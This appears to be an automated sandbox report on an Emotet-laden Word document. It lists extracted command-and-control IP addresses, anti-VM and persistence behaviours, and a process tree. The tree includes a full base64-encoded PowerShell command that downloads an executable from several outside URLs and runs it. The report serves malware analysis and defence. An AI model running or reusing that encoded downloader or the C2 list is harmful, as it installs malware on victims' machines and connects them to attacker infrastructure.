Task
task1
Sample
Docs_129a4380ebaff7cfc82bfe05e7d282ff.7.doc
Resource
win7
0 signatures
Task
task2
Sample
Docs_129a4380ebaff7cfc82bfe05e7d282ff.7.doc
Resource
win10
0 signatures
General
-
Target
Docs_129a4380ebaff7cfc82bfe05e7d282ff.7
-
Sample
191016-zkqelymjlx
-
SHA256
012987f43b78cbbd7648fd8fbd4660423486e120f0a42cb155b0169a1f928e45
Score
N/A
Malware Config
Extracted
Family
emotet
C2
181.59.253.20:21
14.160.93.230:80
74.208.68.48:8080
104.131.58.132:8080
68.183.190.199:8080
62.75.143.100:7080
159.203.204.126:8080
151.80.142.33:80
123.168.4.66:22
46.28.111.142:7080
46.101.212.195:8080
183.82.97.25:80
190.10.194.42:8080
217.199.160.224:8080
186.1.41.111:443
185.86.148.222:8080
185.187.198.10:8080
200.57.102.71:8443
114.79.134.129:443
80.85.87.122:8080
87.106.77.40:7080
186.0.95.172:80
190.230.60.129:80
125.99.61.162:7080
142.93.82.57:8080
77.55.211.77:8080
178.79.163.131:8080
82.196.15.205:8080
139.5.237.27:443
178.249.187.151:8080
46.41.151.103:8080
71.244.60.230:7080
190.221.50.210:8080
212.71.237.140:8080
200.51.94.251:143
50.28.51.143:8080
77.245.101.134:8080
88.250.223.190:8080
190.230.60.129:80
181.36.42.205:443
86.42.166.147:80
190.97.30.167:990
189.166.68.89:443
110.36.234.146:80
170.84.133.72:7080
190.1.37.125:443
76.69.29.42:80
62.75.160.178:8080
91.205.215.57:7080
119.92.51.40:8080
190.38.14.52:80
109.104.79.48:8080
5.196.35.138:7080
119.59.124.163:8080
181.188.149.134:80
79.129.0.173:8080
46.29.183.211:8080
91.83.93.124:7080
189.160.49.234:8443
119.159.150.176:443
149.62.173.247:8080
71.244.60.231:7080
68.183.170.114:8080
81.169.140.14:443
138.68.106.4:7080
46.163.144.228:80
184.69.214.94:20
190.104.253.234:990
79.143.182.254:8080
51.15.8.192:8080
109.169.86.13:8080
181.29.101.13:8080
187.188.166.192:80
201.199.93.30:443
201.163.74.202:443
94.183.71.206:7080
5.1.86.195:8080
203.25.159.3:8080
181.44.166.242:80
200.58.171.51:80
181.143.101.18:8080
190.85.152.186:8080
170.84.133.72:8443
190.230.60.129:8080
89.188.124.145:443
186.90.29.228:443
181.135.153.203:443
181.51.251.236:443
rsa_pubkey.plain
Signatures
-
Suspicious behavior: AddClipboardFormatListener
-
Suspicious use of SetWindowsHookEx
-
Processes:
WINWORD.EXEat description ioc process 21735 File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm WINWORD.EXE 22110 File created C:\Users\Admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm WINWORD.EXE 28938 File opened for modification C:\Users\Admin\AppData\Local\Temp\Docs_129a4380ebaff7cfc82bfe05e7d282ff.7.doc WINWORD.EXE 31813 File created C:\Users\Admin\AppData\Local\Temp\~$cs_129a4380ebaff7cfc82bfe05e7d282ff.7.doc WINWORD.EXE -
Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs
Processes:
WINWORD.EXEat description ioc process 28719 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer WINWORD.EXE 28719 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName WINWORD.EXE -
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
WINWORD.EXEat description ioc process 28719 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 28719 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE 28735 Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE 28735 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE 28735 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs
Processes:
WINWORD.EXEat description ioc process 28719 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 28719 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
SppExtComObj.exepowershell.exe506.exetabletmspterm.exetabletmspterm.exezxrdBYgCDgZj.exetabletmspterm.exeat description process target process 31813 PID 2760 wrote to memory of 3652 SppExtComObj.exe SLUI.exe 51313 PID 3316 wrote to memory of 3360 powershell.exe 506.exe 51641 PID 3360 wrote to memory of 788 506.exe 506.exe 61641 PID 1960 wrote to memory of 1352 tabletmspterm.exe tabletmspterm.exe 107766 PID 1352 wrote to memory of 1868 tabletmspterm.exe zxrdBYgCDgZj.exe 107922 PID 1868 wrote to memory of 2944 zxrdBYgCDgZj.exe zxrdBYgCDgZj.exe 115750 PID 2464 wrote to memory of 3180 tabletmspterm.exe tabletmspterm.exe -
Suspicious use of FindShellTrayWindow
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exeat description process 40625 Token: SeDebugPrivilege powershell.exe -
Suspicious behavior: EnumeratesProcesses
-
Executes dropped EXE
-
Processes:
506.exedescription ioc process Event created Global\E145925EC 506.exe -
Suspicious behavior: EmotetMutantsSpam
-
Drops file in system dir 9 IoCs
Processes:
506.exetabletmspterm.exezxrdBYgCDgZj.exetabletmspterm.exeat description ioc process 59094 File renamed C:\Users\Admin\506.exe => C:\Windows\SysWOW64\tabletmspterm.exe 506.exe 78016 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat tabletmspterm.exe 81563 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 tabletmspterm.exe 81563 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE tabletmspterm.exe 81563 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies tabletmspterm.exe 81563 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 tabletmspterm.exe 107735 File created C:\Windows\SysWOW64\zxrdBYgCDgZj.exe tabletmspterm.exe 115688 File renamed C:\Windows\SysWOW64\zxrdBYgCDgZj.exe => C:\Windows\SysWOW64\tabletmspterm.exe zxrdBYgCDgZj.exe 133922 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat tabletmspterm.exe -
Loads dropped DLL
-
Drops desktop.ini 1 IoCs
Processes:
zxrdBYgCDgZj.exeat description ioc process 115688 File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini zxrdBYgCDgZj.exe -
emotet family
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_129a4380ebaff7cfc82bfe05e7d282ff.7.doc" /o ""1⤵
- Drops Office document
- Checks system information in the registry (likely anti-VM)
- Enumerates system info in registry
- Checks processor information in registry (likely anti-VM)
PID:2828
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:2760
-
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent1⤵PID:3652
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABPAEQARABCAEEARwBRAEEANABBADEAQQBBAD0AJwBBAHcAQQBCAEMAeABBAEcARwBBACcAOwAkAEIAQQBBAFgAVQBfAHgAdwAxACAAPQAgACcANQAwADYAJwA7ACQAVwBBADQAQQBBAEEAQwBCAEQAXwBCAFEAPQAnAFUAawBBAEQAMQB3AGMAXwAnADsAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQgBBAEEAWABVAF8AeAB3ADEAKwAnAC4AZQB4AGUAJwA7ACQAVABDAEEAWgBBAEcAVQBBAD0AJwBKAEMAXwBBAEEAVQB4AEIAQQBRAEIAUQAnADsAJABSAHgAVQBBAEEANABVAHcAUQBBAEEAQQB3AD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcARQBiAEMAbABJAEUATgBUADsAJABDAEEAWgAxAFUANABBAEIARwBfAEEAQQBBAD0AJwBoAHQAdABwAHMAOgAvAC8AeQBvAHUAcgBnAHAAcwBoAGUAbABwAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBoADYAMgAyADgANAAwADAALwAqAGgAdAB0AHAAcwA6AC8ALwBrAHkAbwBrAHUAcwBoAGkAbgBtAGkAZABkAGwAZQBlAGEAcwB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZAA0AGgAbwBiAHMAOAA4ADkALwAqAGgAdAB0AHAAcwA6AC8ALwB0AGEAbQBhAGsAbwBzAGgAaQBzAGEAbgBjAGgAYQByAC4AYwBvAG0ALwBoAHQAaAB6ADkAMQAvAGsANgBpAGwAeQBjAHgAMwA1ADMALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAGUAcgBnAGEAbQBhAGUAZwBlAHMAbwBuAGQAYQBqAC4AYwBvAG0ALwAxAHQAMgAwADEAMQAxAHkANgAzAC8AaQBjADUANQAwADEALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG8AcgBnAGEAbgBpAHoAZQByAHMAbwBuAGQAZQBtAGEAbgBkAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ANgB2AHQAZAA3ADMAMAA0AC8AJwAuACIAcwBwAEwAYABpAFQAIgAoACcAKgAnACkAOwAkAEcAUQBDAEQAWAB3AFEAVQBCAFEAQQBCAGsAPQAnAFMAQQBBAEIAQQBHAG8ARwBaAEEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAeAB4ADEAXwBCAEEAdwBBAEEAQQAgAGkAbgAgACQAQwBBAFoAMQBVADQAQQBCAEcAXwBBAEEAQQApAHsAdAByAHkAewAkAFIAeABVAEEAQQA0AFUAdwBRAEEAQQBBAHcALgAiAEQAYABvAFcATgBsAGAATwBhAGQARgBpAGAATABFACIAKAAkAFkAeAB4ADEAXwBCAEEAdwBBAEEAQQAsACAAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQApADsAJABLAEIAQQBaAEMAUQBjAEEAbwA9ACcATgBjAGMAYwBEAEEAQwBBACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVQBEAFUAYwBfAEEAQQAxAEEAXwBBADEAKQAuACIAbABgAEUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIANQAzADYANgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAFIAdAAiACgAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQApADsAJABZAFUAQQB3AFUAMQBEAG8APQAnAEgAeABVAEIAQQBBAEQAQQBBACcAOwBiAHIAZQBhAGsAOwAkAFoAeAAxAEIAQQBVAFEAQQBCAGsAQQA9ACcAWABBAEEAVQBBAFUAbwBjADEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgA0AFUAMQBvAEIAVQBrAFUAPQAnAFIAXwBBAGMANAA0AEEAbwBEAEcARABrAEcAJwA=1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:3316
-
C:\Users\Admin\506.exe"C:\Users\Admin\506.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3360
-
C:\Users\Admin\506.exe--dec732191⤵
- Emotet Sync
- Drops file in system dir
PID:788
-
C:\Windows\SysWOW64\tabletmspterm.exe"C:\Windows\SysWOW64\tabletmspterm.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1960
-
C:\Windows\SysWOW64\tabletmspterm.exe--356fff061⤵
- Suspicious use of WriteProcessMemory
- Drops file in system dir
PID:1352
-
C:\Windows\SysWOW64\zxrdBYgCDgZj.exe"C:\Windows\SysWOW64\zxrdBYgCDgZj.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1868
-
C:\Windows\SysWOW64\zxrdBYgCDgZj.exe--bf460be81⤵
- Drops file in system dir
- Drops desktop.ini
PID:2944
-
C:\Windows\SysWOW64\tabletmspterm.exe"C:\Windows\SysWOW64\tabletmspterm.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2464
-
C:\Windows\SysWOW64\tabletmspterm.exe--356fff061⤵
- Drops file in system dir
PID:3180